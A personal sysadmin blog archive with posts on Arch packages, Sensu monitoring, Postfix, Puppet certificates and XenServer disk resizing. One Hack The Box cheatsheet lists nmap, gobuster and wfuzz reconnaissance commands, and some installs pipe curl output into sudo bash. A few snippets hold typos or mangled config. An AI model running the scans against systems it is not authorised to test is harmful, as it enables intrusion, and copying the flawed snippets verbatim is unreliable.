Fri, 01 May 2020 10:37:52 +0200

On Archlinux pacman allows to install packages as a group. Cleaning those packages and their dependencies is not as straight forward, but it possible to do cleaning by using a few commands.

Here let’s try to clean plasma stuff (finally I find gnome more straightforward to used, despite being sometimes a bit surprised by the lack of customisation or by some choices.)

# Check installed packages from groups
pacman -Qg
# Collect installed list of packages for specific groups
pacman -Qgq plasma > plasma.txt
pacman -Qgq qt >> plasma.txt
pacman -Qgq qt5 >> plasma.txt
pacman -Qgq kf5 >> plasma.txt
pacman -Qgq kf5-aids >> plasma.txt
pacman -Qgq kde-applications >> plasma.txt
# Clean list of package if needed
vim plasma.txt
# Delete the packages and the ones that requires them
# XXX double check what is/will be deleted an reinstall what as needed
sudo pacman -Rc - < plasma.txt
# Reinstall what is still being used
sudo pacman -S nextcloud-client vlc virtualbox qgpgme

Side note: I’m usually using trizen to manage packages and AUR at once.

Copy Paste With Vim and Tmux

Tue, 28 Apr 2020 11:07:46 +0200

Copying between two VIM sessions

Using vim + clipboard copy to just get vim content and not all the VIM formatting (line numbers and so on).

On MacOS X + and * registers are the same.
On GNU/Linux
- + is the desktop clipboard (usable via ctl-c/x/v)
- * is the X11 primary selection (usable via mouse selection/middle mouse button)
Select text in VIM
Copy to the * register (system clipboard) "*y
Paste the clipboard in new vim session "*p

Copying using TMUX

https://github.com/tmux-plugins/tmux-copycat
https://github.com/tmux-plugins/tmux-yank
https://vim.fandom.com/wiki/Accessing_the_system_clipboard
Selecting content in tmux:
- Enter tmux pane history “navigation” mode: ctrl-b+[
- Use arrows or h/j/k/l to go to where you need
- Use V to move in line selection mode
- Use y to copy (yank) to system clipboard
Pasting using tmux
- ctrl-b + ]

Copying from TMUX to VIM

Selecting content in tmux:
- Enter tmux pane history “navigation” mode: ctrl-b+[
- Use arrows or h/j/k/l to go to where you need
- Use V to move in line selection mode
- Use y to copy (yank) to system clipboard
Pasting using tmux
- ctrl-b + ]
Or pasting in vim
- Paste content from system clipboard (aka +): "+p

Terminal setup ZSH tmux powerlevel10k

Sat, 25 Apr 2020 17:51:44 +0200

Today I was contacted by a person asking for my terminal setup, after having seen it in a GitHub issue.

So even if most of my conf is already available in my dotfiles let’s share it here too in a more documented way, maybe someone may be interested by this too.

Obviously it’s for ZSH not bash. :P

Please also be waned that my dotfiles are a work in progress and quite messy/broken, some stuff are also quite obsolete.

So what was shown was my MacOS X setup, using iterm2 with the nord theme, ZSH and true colors:

Terminal: iTerm2 or gnome-terminal with Hack Nerd font

The MacOS X terminal is iTerm2: https://iterm2.com/
The iTerm2 theme is Nord: https://github.com/arcticicestudio/nord-iterm2
The font is Hack Nerd: https://github.com/ryanoasis/nerd-fonts/tree/master/patched-fonts/Hack

On GNU/Linux I’m using gnome-terminal instead of iTerm2, there is also a Nord theme for it: https://github.com/arcticicestudio/nord-gnome-terminal

Shell: ZSH with zplug and powerlevel10k

The shell is Zsh and I’m using Zplug to manage my ZSH conf: https://github.com/zplug/zplug.

The ZSH theme is powerlevel10k: https://github.com/romkatv/powerlevel10k Powerlevel10k will launch a wizard to help you configuring it, my configuration file (you can see the options I selected at the top) is: https://github.com/gwarf/dotfiles/blob/master/p10k.zsh

And my current ZSH conf is https://github.com/gwarf/dotfiles/blob/master/zsh/zsh-zplug-mac

Terminal multiplexer: tmux with tmux-nord and tpm

I’m also using tmux https://github.com/tmux/tmux/ with a Nord theme: https://github.com/arcticicestudio/nord-tmux

My tmux plugins are configured via tpm: https://github.com/tmux-plugins/tpm My tmux conf is: https://github.com/gwarf/dotfiles/blob/master/tmux.conf

Text editor: neovim with vim-plug, nord theme and too many things

My beloved text editor is neovim: https://neovim.io/
I’m using the vim Nord theme: https://github.com/arcticicestudio/nord-vim

Monitoring with Sensu

Sat, 25 Apr 2020 15:56:13 +0200

Some notes taken during a deployment of Sensu with one backend server and some nodes running agents.

Installing Sensu

Follow the official documentation.

Installing the backend

# Add the Sensu repository
curl -s https://packagecloud.io/install/repositories/sensu/stable/script.rpm.sh | sudo bash
# Install the sensu-go-backend package
sudo yum install sensu-go-backend
# Copy the config template from the docs
sudo curl -L https://docs.sensu.io/sensu-go/latest/files/backend.yml -o /etc/sensu/backend.yml
# Start sensu-backend
sudo systemctl enable --now sensu-backend
# Initialise
sudo systemctl status -l sensu-backend
export SENSU_BACKEND_CLUSTER_ADMIN_USERNAME=YOUR_USERNAME
export SENSU_BACKEND_CLUSTER_ADMIN_PASSWORD=YOUR_PASSWORD
sensu-backend init
# Check that backend replies
curl http://127.0.0.1:8080/health

Installing the client

The client is used to interact with the backend from CLI using sensuctl.

# Add the Sensu repository
curl https://packagecloud.io/install/repositories/sensu/stable/script.rpm.sh | sudo bash
# Install the sensu-go-cli package
sudo yum install sensu-go-cli
sensuctl configure -n \
--username $SENSU_BACKEND_CLUSTER_ADMIN_USERNAME \
--password $SENSU_BACKEND_CLUSTER_ADMIN_PASSWORD \
--namespace default \
--url 'http://127.0.0.1:8080'
sensuctl config view

Configure CA and certificates

Follow the official documentation.

# Download cfssl and cfssljson executables and install them in /usr/local/bin:
sudo curl -L https://github.com/cloudflare/cfssl/releases/download/v1.4.1/cfssl_1.4.1_linux_amd64 -o /usr/local/bin/cfssl
sudo curl -L https://github.com/cloudflare/cfssl/releases/download/v1.4.1/cfssljson_1.4.1_linux_amd64 -o /usr/local/bin/cfssljson
sudo chmod +x /usr/local/bin/cfssl*
# Create /etc/sensu/tls -- does not exist by default
sudo su -
mkdir -p /etc/sensu/tls
cd /etc/sensu/tls
# Create the Certificate Authority
echo '{"CN":"Sensu Test CA","key":{"algo":"rsa","size":2048}}' | cfssl gencert -initca - | cfssljson -bare ca -
# Define signing parameters and profiles. Note that agent profile provides the "client auth" usage required for mTLS.
echo '{"signing":{"default":{"expiry":"17520h","usages":["signing","key encipherment","client auth"]},"profiles":{"backend":{"usages":["signing","key encipherment","server auth"],"expiry":"4320h"},"agent":{"usages":["signing","key encipherment","client auth"],"expiry":"4320h"}}}}' > ca-config.json
# Issue backend certificate
export ADDRESS=localhost,127.0.0.1,$BACKEND_IP,$BACKEND_FQDN
export NAME=$BACKEND_FQDN
echo '{"CN":"'$NAME'","hosts":[""],"key":{"algo":"rsa","size":2048}}' | cfssl gencert -config=ca-config.json -profile="backend" -ca=ca.pem -ca-key=ca-key.pem -hostname="$ADDRESS" - | cfssljson -bare $NAME
# Issue agents' certificates
export NAME=$AGENT_NAME
echo '{"CN":"'$NAME'","hosts":[""],"key":{"algo":"rsa","size":2048}}' | cfssl gencert -config=ca-config.json -ca=ca.pem -ca-key=ca-key.pem -hostname="" -profile=agent - | cfssljson -bare $NAME
chown sensu /etc/sensu/tls/*.pem
chmod 400 /etc/sensu/tls/*.pem
chown root /etc/sensu/tls/ca.pem
chmod 644 /etc/sensu/tls/ca.pem

Copy agent’s certificate and key to /etc/sensu/tls on each agent nodes.

# Configuration for mail node
tree /etc/sensu
/etc/sensu
├── agent.yml
└── tls
    ├── ca.pem
    ├── mail-key.pem
    └── mail.pem

1 directory, 4 files

# Add Sensu CA to system trust store
# CentOS
chmod 644 /etc/sensu/tls/ca.pem
chown root /etc/sensu/tls/ca.pem
sudo yum install -y ca-certificates
sudo update-ca-trust force-enable
sudo ln -s /etc/sensu/tls/ca.pem /etc/pki/ca-trust/source/anchors/sensu-ca.pem
sudo update-ca-trust
# Ubuntu
chmod 644 /etc/sensu/tls/ca.pem
chown root /etc/sensu/tls/ca.pem
sudo apt-get install ca-certificates -y
sudo ln -sfv /etc/sensu/tls/ca.pem /usr/local/share/ca-certificates/sensu-ca.crt
sudo update-ca-certificates
# Arch
sudo trust anchor --store /etc/sensu/tls/ca.pem

➜  ~ sudo grep -v '^\(#.*\|\s*\)$' /etc/sensu/backend.yml
---
state-dir: "/var/lib/sensu/sensu-backend"
log-level: "debug" # available log levels: panic, fatal, error, warn, info, debug
api-url: "https://localhost:8080"
dashboard-cert-file: "/etc/sensu/tls/$BACKEND_FQDN.pem"
dashboard-key-file: "/etc/sensu/tls/$BACKEND_FQDN-key.pem"
dashboard-host: "[::]" # listen on all IPv4 and IPv6 addresses
dashboard-port: 3000
cert-file: "/etc/sensu/tls/$BACKEND_FQDN.pem"
key-file: "/etc/sensu/tls/$BACKEND_FQDN-key.pem"
trusted-ca-file: "/etc/sensu/tls/ca.pem"
insecure-skip-tls-verify: false
etcd-advertise-client-urls: "https://localhost:2379"
etcd-listen-client-urls: "https://localhost:2379"
etcd-listen-peer-urls: "https://localhost:2380"
etcd-initial-advertise-peer-urls: "https://localhost:2380"
etcd-cert-file: "/etc/sensu/tls/$BACKEND_FQDN.pem"
etcd-key-file: "/etc/sensu/tls/$BACKEND_FQDN-key.pem"
etcd-trusted-ca-file: "/etc/sensu/tls/ca.pem"
etcd-peer-cert-file: "/etc/sensu/tls/$BACKEND_FQDN.pem"
etcd-peer-key-file: "/etc/sensu/tls/$BACKEND_FQDN-key.pem"
etcd-peer-client-cert-auth: "true"
etcd-peer-trusted-ca-file: "/etc/sensu/tls/ca.pem"

# Restart backend
sudo systemctl restart sensu-backend
# Update sensuctl to use https
sensuctl configure -n \
--username $SENSU_BACKEND_CLUSTER_ADMIN_USERNAME \
--password $SENSU_BACKEND_CLUSTER_ADMIN_PASSWORD \
--namespace default \
--url 'http://127.0.0.1:8080'

Allowing client and agents to connect to the backend

$CLIENT_IP is the IP of the host accessing the Web interface.

# Allowing to access the sensu dashboard running on port 3000
sudo ufw allow from $CLIENT_IP to any port 3000
# Allowing an agent to connect to the Sensu backend
sudo ufw allow from $AGENT_IP to any port 8081

The sensu web interface is available on https://$BACKEND_FQDN:3000.

Installing and configuring agents

# Add the Sensu repository
curl -s https://packagecloud.io/install/repositories/sensu/stable/script.rpm.sh | sudo bash
# Install the sensu-go-agent package
sudo yum install sensu-go-agent
# Copy the config template from the docs
sudo curl -L https://docs.sensu.io/sensu-go/latest/files/agent.yml -o /etc/sensu/agent.yml
# Start sensu-agent using a service manager
sudo systemctl enable --now sensu-agent
sudo systemctl status -l sensu-agent

Edit configuration

grep -v '^\(#.*\|\s*\)$' /etc/sensu/agent.yml
---
backend-url:
  - "wss://$BACKEND_IP:8081"
log-level: "debug"
trusted-ca-file: "/etc/sensu/tls/ca.pem"
subscriptions:
  - system
  # On the host testing the remote mail server
  - mailcow

Check agents listed in the backend

# Checking agent's heartbeats
sensuctl entity list

Monitoring with Sensu

# Installing plugins
sensuctl asset add sensu-plugins/sensu-plugins-cpu-checks -r cpu-checks-plugins
sensuctl asset add sensu/sensu-ruby-runtime -r sensu-ruby-runtime
sensuctl asset add sensu/sensu-email-handler -r email-handler
sensuctl asset add sensu/monitoring-plugins
sensuctl asset add dhpowrhost/sensu-plugins-imap
# Add a mail handler
cat << EOF | sensuctl create
---
api_version: core/v2
type: Handler
metadata:
  namespace: default
  name: email
spec:
  type: pipe
  command: sensu-email-handler -f $MAIL_FROM -t $MAIL_TO -s $MAIL_SERVER -u $MAIL_USER -p $MAIL_PASS
  timeout: 10
  filters:
  - is_incident
  - not_silenced
  - state_change_only
  runtime_assets:
  - email-handler
EOF
# Creating checks
sensuctl check create check-cpu \
  --command 'check-cpu.rb -w 75 -c 90' \
  --interval 60 \
  --subscriptionssystem \
  --runtime-assets cpu-checks-plugins,sensu-ruby-runtime \
  --handlers email
sensuctl check create check-disk-usage \
  --command "check-disk-usage.rb -w 70 -c 90 x debugfs,tracefs,proc,overlay,nsfs -p '(\/var\/lib\/docker|\/snap)'" \
  --interval 60 \
  --subscriptions system \
  --runtime-assets sensu-plugins/sensu-plugins-disk-checks \
  --handlers email
sensuctl check create check-smtp \
  --command 'check_smtp -H $MAIL_SERVER -p 587 -U $MAIL_USER -P $MAIL_PASS' \
  --interval 60 \
  --subscriptions mailcow \
  --runtime-assets sensu/monitoring-plugins \
  --handlers email
sensuctl check create check-imap \
  --command 'check-imap.rb -h $MAIL_SERVER -p 993 -u $MAIL_USER -p $MAIL_PASS' \
  --interval 60 \
  --subscriptions mailcow \
  --runtime-assets dhpowrhost/sensu-plugins-imap,sensu-ruby-runtime \
  --handlers email

Using Postifx as a Relay on MacOS

Tue, 21 Apr 2020 14:53:58 +0200

Local Postfix relying to Google’s SMTP server

The intent is to use the postfix system install to relay email to Google’s SMTP server.

Configure mail aliases

/etc/aliases is a symlink to /etc/postfix/aliases, it can be updated to redirect root or any other user’s email to another address:

root: my.email@domain.tld
userX: my.email@domain.tld

Aliases database should updated:

sudo postalias /etc/postfix/aliases

Altering postfix configuration

/etc/postfix/main.cf should be tuned:

myhostname = Baptistes-MacBoo-Pro.local
(...)
# inet_protocols = all
(...)
# https://www.howtoforge.com/tutorial/configure-postfix-to-use-gmail-as-a-mail-relay/
# https://www.justinsilver.com/technology/osx/send-emails-mac-os-x-postfix-gmail-relay/
relayhost = [smtp.gmail.com]:587
smtp_use_tls = yes
smtpd_sasl_auth_enable = yes
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_use_tls=yes
smtp_tls_security_level=encrypt
tls_random_source=dev:/dev/urandom
smtp_sasl_security_options =
smtp_sasl_mechanism_filter = AUTH LOGIN
inet_protocols = ipv4
virtual_alias_maps = hash:/etc/postfix/virtual

Adding virtual entries

In order to map local address to fully qualified address, /etc/postfix/virtual should be updated:

baptiste my.email@domain.tld
baptiste@Baptistes-MacBook-Pro.local my.email@domain.tld

Then the virtual map should be updated

sudo postmap /etc/postfix/virtual

Starting the local postfix as a daemon

sudo postfix start

Checking postfix logs

log stream --predicate '(process == "smtpd") \
  || (process == "smtp") \
  || (process == "master")' --info

Checking conf after a MacOS update

When MacOS gets updated it can alter the configuration changes and revert to default settings or let you review the changes they made to the default configuration files. You can check any ~orig files having been created under /etc/postfix as well as default files ending in _default available under ~/Desktop/Relocated Items/Configuration.

Hacking Cheatsheet

Tue, 14 Apr 2020 12:51:06 +0200

Some notes while doing some CTF.

Collecting information about an IP

Port scan with nmap

sudo nmap -sC -sV -oA outputfile $IP

Web inventory

Searching for webdirectories

gobuster dir -u http://oouch.htb:5000/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  | tee gobuster-directories.txt

Searching for domain names

gobuster vhost -u http://oouch.htb:5000/ \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  | tee gobuster-vhosts.txt
wfuzz  --hh 0 --hc 302 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H 'Host: FUZZ.oouch.htb' -u http://oouch.htb:5000/

Adventures with Pentesting

Sun, 12 Apr 2020 11:42:34 +0200

Learning by doing with Hack The Box (HTB)

During those locked down times I’ve been starting to play with Hack The Box, an online platform allowing to do Penetration Testing, using a lab of Virtual Machines designed for this.

It’s some kind of gamified hacking: you have a profile, you earn points and you can level up. At HTB I’m gwarf.

It’s a great way of starting to learn pentesting without causing troubles and in a legit environment.

It’s fun to notice that even registering to the site requires you to find your way in (tips: look at the source Luke).

The goal being to learn it’s recommended to progress slowly, and even if sometimes it could be required to look for tips, especially at the beginning, the most important is to understand what’s happening.

And as with Bloodborne even if you can/should look at tips you always feel stronger and enjoy more dopamine when you succeed alone.

Starting with an HTB VM

Boot up your pentest VM (like Kali, Parrot or Blackarch)
Add VM hostname into /etc/hosts (in case the VM comes with a webserver it’s useful to access it via the IP and the expected VHost). On HTB the VM hostname is usually the VM name + htb (like for book: book.htb)

User-level systemd services

Tue, 10 Oct 2017 00:00:00 +0000

Recovered 2026-07-13 from the generated HTML preserved in the blog-old repository (master branch) — the markdown source of the short-lived October 2017 blog incarnation was never committed. Original publication: 2017-10-10.

Goal: Launching mbsync as a user using systemd and in a cron-like manner.

For this a systemd timer will launch a systemd service.

mkdir -p ~/.config/systemd/user
vim ~/.config/systemd/user/mbsync.service

# mbsync.service
[Unit]
Description=Mailbox synchronization service
After=network.target network-online.target dbus.socket

[Service]
Type=oneshot
ExecStart=/usr/bin/mbsync -Va
ExecStartPost=/usr/bin/notmuch new
StandardOutput=syslog
StandardError=syslog

vim ~/.config/systemd/user/mbsync.timer

# mbsync.timer

[Unit]
Description=MBSync Quicksync timer

[Timer]
# Check systemd.time(7)
# Time to wait after booting before offlineimap.service is run for the first time
OnBootSec=15min
# Every 30 seconds
# OnCalendar=*:*:0/30
#OnCalendar=*-*-* *:0/2:00
#OnCalendar=hourly
#OnCalendar=minutely
# run 1 minutes after each deactivation of the unit
OnUnitInactiveSec=60s
Unit=mbsync.service

[Install]
WantedBy=default.target

# Take new service into account
systemctl --user daemon-reload
# Enable and start service
systemctl --user enable --now mbsync.timer
# Check service status
systemctl --user status -l mbsync.timer
systemctl --user status -l mbsync.service

Rebuilding a package using ABS

Tue, 29 Jul 2014 00:00:00 +0000

Rebuilding an Archlinux package using Arch Build System (ABS)

Rebuilding a system package on Archlinux as a user is really simple using ABS.

yaourt -S abs
cp /etc/abs.conf ~/.abs.conf
sed -i 's#.*ABSROOT.*#ABSROOT="\$HOME/abs"#' ~/.abs.conf
mkdir ~/abs
abs extra/nvidia
cd ~/abs/extra/nvidia
makepkg -s
yaourt nvidia*.pkg.tar.xz

Grid scripting in python

Mon, 28 Jul 2014 00:00:00 +0000

Scripting Grid management using LCG and LFC python APIs

lcg-util

Man pages are present in the the lcg-util-devel package.

man lcg_util_python
man lcg_del_python

lfc-python

Man pages are present in the lfc-python package.

man lfc_python
man lfc2_python

Documentation

XenServer installation using HTTP source

Fri, 18 Apr 2014 00:00:00 +0000

Small notes on installing XenServer using a remote installation source. See

Citrix Official Documentation for more.

Downloading XenServer

Log into Citrix site as login is required in order to see the Product Software entry into the Find Downloads tool.

Extracting ISO content

mkdir xenserver-6.0.0_iso
sudo mount -o loop XenServer-6.0.0-install-cd.iso xenserver-6.0.0_iso
sudo mkdir -p /srv/mirror/xen/xenserver/6.0.0/
sudo cp -r xenserver-6.0.0_iso/* /srv/mirror/xen/xenserver/6.0.0/

Making ISO available at a reachable http/ftp server

Simple alias example for apache:

Alias /xen /srv/mirror/xen
 /srv/mirror/xen>
   Options Indexes FollowSymLinks
   AllowOverride None
   Order deny,allow
   deny from all
   allow from all

Installation files will be available at http://server.domain.tld/xen/xenserver/6.0.0/.

Installing XenServer

Boot installation ISO on server
Configure network
Configure XenServer installer to retrieve files of http/ftp source

Regenerating Puppet certificates

Thu, 10 Apr 2014 00:00:00 +0000

Bleeding Heart

Following the Heartbleed bug and as all Debian stable (wheezy for the time being) are affected and as the puppetmaster is running on debian it is a good idea to regenerate the puppet certificates, here is a quick how-to when using puppet with passenger on debian wheezy.

Please refer to the official documentation.

On the puppet master

service apache2 stop
cp -r /var/lib/puppet/ssl ~/puppet-ssl-backup
rm -rf /var/lib/puppet/ssl/*
# Kill the master once the CA and certs have been generated using ctrl+c
puppet master --no-daemonize --verbose
service apache2 start

Now a new CA has been created in /var/lib/puppet/ssl, and a cert for the master has been generated and signed, and all the existing agent certificates are now unknown to the CA.

puppet cert list --all

The puppetdb certificates should also be updated.

rm /etc/puppetdb/ssl/*
puppetdb ssl-setup
service puppetdb restart

Launch the agent on the master to check that everything is OK.

puppet agent -tv

On the puppet agents

Stop the agent if it is running and clean the SSL dir.

service puppet stop
rm -rf /var/lib/puppet/ssl/*

Launch the agent to generate a cert and wait for the cert to be signed.

puppet agent -tv --waitforcert 60

puppet cert list
puppet cert sign xxx.xxx.xxx

dependencies with hiera and create resources

Mon, 07 Apr 2014 00:00:00 +0000

In a nodeless setup it is possible to manage dependencies between resources created by create_resources, but the syntax is quite strict and caused me some troubles. If the syntax is not correct the traditionnal Could not find dependency error message will be displayed.

node default {
  hiera_include ('classes', [])

  $packages = hiera_hash('packages', {})
  create_resources('package', $packages)

  $services = hiera_hash('services', {})
  create_resources('service', $services)
}

The following won’t work:

services:
  mysql:
    ensure: 'running'
    require: Package['mysql-server']

Nor the following:

services:
  mysql:
    ensure: 'running'
    require: "Package['mysql-server']"

But the following two syntaxes will work:

+++
classes:
  - 'puppet::agent'
packages:
  mysql-server:
    ensure: 'installed'
services:
  mysql:
    ensure: 'running'
    require: Package[mysql-server]

+++
classes:
  - 'puppet::agent'
packages:
  mysql-server:
    ensure: 'installed'
services:
  mysql:
    ensure: 'running'
    require: 'Package[mysql-server]'

See a full example running in Vagrant at https://github.com/gwarf/puppet-vagrant-playground

Resizing a VM filesystem from Xen host

Wed, 26 Feb 2014 00:00:00 +0000

Resizing the disk and filesystem of a VM

I had to add more disk space to a Virtual Machine running under XenServer 6.0. In such situation I ususally do like this:

create a snapshot (if possible, sometimes disk space makes it impossible)
increase the virtual disk size using XenCenter (running from a Windows Virtual Machine…)
boot Sysrescuecd and resize the filesystem using gparted

But this time, due to some known and unknown magic particular things (VT extensions disabled, ISO library avaialble on a remote NFS share with latency problems… I wasn’t able to boot sysrescuecd (nor other recent Live CD I tried), so one of my last option was to attach the VM’s virtual disk on the xen host (another VM could have been used too), here are the steps:

Find xen host uuid
Find VM uuid
Find VM’s disk VDI uuid
Create a new VBD for the xen host to plug the VDI in
Stop the VM
Plug the VBD
Resize the partition and filesystem
unplug and destroy the VBD
Restart the VM

Hands-on

From the xenserver shell:

hostuuid=$(xe vm-list name-label='Control domain on host: xenserver-XXX' \
  | awk '/uuid/ {print $5}')
xe vm-list uuid=$hostuuid

vmuuid=$(xe vm-list name-label=xxx.domain.tld | awk '/uuid/ {print $5}')
xe vm-list uuid=$vmuuid

xe vm-disk-list uuid=$vmuuid
vdiuuid=xxxx-xxxx-xxx-xxx-xxxx
xe vbd-list vdi-uuid=$vdiuuid

vbduuid=$(xe vbd-create device=0 vm-uuid=$hostuuid vdi-uuid=$vdiuuid \
  bootable=false mode=RW type=Disk)
xe vbd-list vdi-uuid=$vdiuuid

xe vbd-plug uuid=$vbduuid
xe vbd-list vdi-uuid=$vdiuuid

Now the virtual disk of the VM is seen as a local device (/dev/xvda) on the xen host, it can be accessed using the standard fdisk, parted, mount tools.

At first I tried to use parted’s resize command but it didn’t work, so I add to delete and recreate the partition manually according to the cylinders. (be sure to save the layout of the partitions before messing with them…) (and using tmux is highly recommended for such tasks.)

parted /dev/xvda                                                                                                                                [86/818]
GNU Parted 1.8.1
Using /dev/xvda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) unit s                                                           
(parted) print                                                            

Model: Xen Virtual Block Device (xvd)
Disk /dev/xvda: 83886079s
Sector size (logical/physical): 512B/512B
Partition Table: msdos

Number  Start  End        Size       Type     File system  Flags
 1      2048s  15988735s  15986688s  primary  ext3         boot 

(parted) rm 1                                                             
(parted) mkpart
Partition type?  primary/extended? primary
File system type?  [ext2]? ext3                                           
Start? 2048s
End? 83886078s
(parted) print                                                            

Model: Xen Virtual Block Device (xvd)
Disk /dev/xvda: 83886079s
Sector size (logical/physical): 512B/512B
Partition Table: msdos

Number  Start  End        Size       Type     File system  Flags
 1      2048s  83886078s  83884031s  primary  ext3              

(parted) toggle 1 boot
(parted) print

Model: Xen Virtual Block Device (xvd)
Disk /dev/xvda: 83886079s
Sector size (logical/physical): 512B/512B
Partition Table: msdos

Number  Start  End        Size       Type     File system  Flags
 1      2048s  83886078s  83884031s  primary  ext3         boot 

(parted) quit                                                             
Information: Don't forget to update /etc/fstab, if necessary.

resize2fs /dev/xvda1    
resize2fs 1.39 (29-May-2006)
Resizing the filesystem on /dev/xvda1 to 10485503 (4k) blocks.
The filesystem on /dev/xvda1 is now 10485503 blocks long

fsck.ext3 -f /dev/xvda1
e2fsck 1.39 (29-May-2006)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/xvda1: 144207/2621440 files (3.3% non-contiguous), 1506575/10485503 blocks

xe vbd-unplug uuid=$vbduuid
xe vbd-destroy uuid=$vbduuid
xe vbd-list vdi-uuid=$vdiuuid

Done, the VM can now be restarted!

Starting to play with Puppet Enterprise

Fri, 14 Feb 2014 00:00:00 +0000

Why Puppet Enterprise?

@work we are using puppet to manage our servers, currently we are using Puppet Open Source edition with great satisfaction.

Being curious I always wanted to try the Puppet Enterprise edition, which is no more free, following my server migration (moving from a FreeBSD-based OVH dedicated server to a less expensive Kimsufi) I have to setup a new way of managing my VMs, after some quick and opinionated reading, I dropped the idea to use Chief and after a bit of additional readings I skipped Ansible too as I like some puppet concepts like exported/collected resources allowing to setup a dynamic environment.

As Puppet Enterprise is free for managing up to 10 nodes (I don’t plan to have more than 10 nodes for my personal use ;) ) it turns out it is the perfect occasion to git it a try, so let’s jump in!

Installing Puppet Enterprise

Downloading Puppet Enterprise only requires to register with an email, a mail with the download information for the different OS will be sent.

wget https://s3.amazonaws.com/pe-builds/released/3.1.3/puppet-enterprise-3.1.3-debian-7-amd64.tar.gz
tar xf puppet-enterprise-3.1.3-debian-7-amd64.tar.gz
cd puppet-enterprise-3.1.3-debian-7-amd64/

% tree
.
├── answers
│   ├── agent_no_cloud.answer.sample
│   ├── agent_with_cloud.answer.sample
│   ├── console_only.answer.sample
│   ├── full_suite.answer.sample
│   ├── full_suite_existing_postgres.sample
│   ├── full_suite_existing_remote_postgres.sample
│   └── master_only.answer.sample
├── db_import_export.rake
├── erb
│   ├── auth.conf.erb
│   ├── autosign.conf.erb
│   ├── cas_client_config.yml.erb
│   ├── config.ru.erb
│   ├── console_auth_config.yml.erb
│   ├── console_auth_db_config.yml.erb
│   ├── console_auth_log_config.yml
│   ├── databases.erb
│   ├── database.yml.erb
│   ├── event_inspector_config.yml.erb
│   ├── external_node.erb
│   ├── license_status_config.yml.erb
│   ├── puppet.conf.erb
│   ├── puppetdashboard.conf.erb
│   ├── puppetdb_master.pp.erb
│   ├── puppetdb.pp.erb
│   ├── puppetmaster.conf.erb
│   ├── read_console_auth_db_config.erb
│   ├── rewrite_rubycas_config.yml.erb
│   ├── rubycas_config_upgrade_comments.txt
│   ├── rubycas_config.yml.erb
│   ├── settings.yml.erb
│   └── site.pp.erb
├── gpg
│   └── GPG-KEY-puppetlabs
├── LICENSE.txt
├── modules
│   ├── cprice404-inifile-0.10.3.tar.gz
│   ├── install_modules.txt
│   ├── puppetlabs-apt-1.1.0.tar.gz
│   ├── puppetlabs-auth_conf-0.1.7.tar.gz
│   ├── puppetlabs-firewall-0.3.0.tar.gz
│   ├── puppetlabs-java_ks-1.1.0.tar.gz
│   ├── puppetlabs-pe_accounts-2.0.1.tar.gz
│   ├── puppetlabs-pe_common-0.1.0.tar.gz
│   ├── puppetlabs-pe_mcollective-0.1.14.tar.gz
│   ├── puppetlabs-pe_postgresql-0.0.5.tar.gz
│   ├── puppetlabs-pe_puppetdb-0.0.11.tar.gz
│   ├── puppetlabs-postgresql-2.5.0.tar.gz
│   ├── puppetlabs-puppetdb-1.5.1.tar.gz
│   ├── puppetlabs-puppet_enterprise-3.1.0.tar.gz
│   ├── puppetlabs-reboot-0.1.2.tar.gz
│   ├── puppetlabs-request_manager-0.0.10.tar.gz
│   ├── puppetlabs-stdlib-3.2.0.tar.gz
│   └── ripienaar-concat-0.2.0.tar.gz
├── noask
│   └── solaris-noask
├── packages
│   ├── debian-7-amd64
│   │   ├── Packages
│   │   ├── Packages.gz
│   │   ├── pe-activemq_5.8.0-1puppet5_all.deb
│   │   ├── pe-activerecord_2.3.17-1puppet2_all.deb
│   │   ├── pe-activesupport_2.3.17-1puppet2_all.deb
│   │   ├── pe-augeas_1.1.0-1puppet1_amd64.deb
│   │   ├── pe-bundler_1.3.5-1puppet2_all.deb
│   │   ├── pe-certificate-manager_0.4.7-1puppet1_all.deb
│   │   ├── pe-certificate-manager-test_0.4.7-1puppet1_all.deb
│   │   ├── pe-cloud-provisioner_1.1.4-puppet1_all.deb
│   │   ├── pe-cloud-provisioner-libs_0.3.2-1puppet1_amd64.deb
│   │   ├── pe-console_0.3.10-1puppet1_all.deb
│   │   ├── pe-console-auth_1.2.21-1puppet1_all.deb
│   │   ├── pe-console-test_0.3.10-1puppet1_all.deb
│   │   ├── pe-event-inspector_0.1.0-1puppet1_all.deb
│   │   ├── pe-facter_1.7.3.1-1puppet1_amd64.deb
│   │   ├── pe-hiera_1.2.2.1-1puppet1_all.deb
│   │   ├── pe-httpd_2.2.25-1puppet4_amd64.deb
│   │   ├── pe-httpd-bin_2.2.25-1puppet4_amd64.deb
│   │   ├── pe-httpd-common_2.2.25-1puppet4_amd64.deb
│   │   ├── pe-httpd-doc_2.2.25-1puppet4_all.deb
│   │   ├── pe-httpd-mpm-worker_2.2.25-1puppet4_amd64.deb
│   │   ├── pe-httpd-prefork-dev_2.2.25-1puppet4_amd64.deb
│   │   ├── pe-httpd-utils_2.2.25-1puppet4_amd64.deb
│   │   ├── pe-java_1.7.0.19-1puppet1_amd64.deb
│   │   ├── pe-libevent_2.0.13-1puppet3_amd64.deb
│   │   ├── pe-libevent-devel_2.0.13-1puppet3_amd64.deb
│   │   ├── pe-libyaml_0.1.4-1puppet3_amd64.deb
│   │   ├── pe-license_0.1.1-1puppet1_all.deb
│   │   ├── pe-license-status_0.1.5-1puppet1_all.deb
│   │   ├── pe-license-status-test_0.1.5.1-1puppet1_all.deb
│   │   ├── pe-live-management_1.2.16-1puppet1_all.deb
│   │   ├── pe-mcollective_2.2.4-1puppet2_all.deb
│   │   ├── pe-mcollective-client_2.2.4-1puppet2_all.deb
│   │   ├── pe-mcollective-common_2.2.4-1puppet2_all.deb
│   │   ├── pe-memcached_1.4.7-1puppet4_amd64.deb
│   │   ├── pe-memcached-devel_1.4.7-1puppet4_amd64.deb
│   │   ├── pe-passenger_4.0.18-1puppet3_amd64.deb
│   │   ├── pe-postgresql_9.2.4-2puppet5_amd64.deb
│   │   ├── pe-postgresql-contrib_9.2.4-2puppet5_amd64.deb
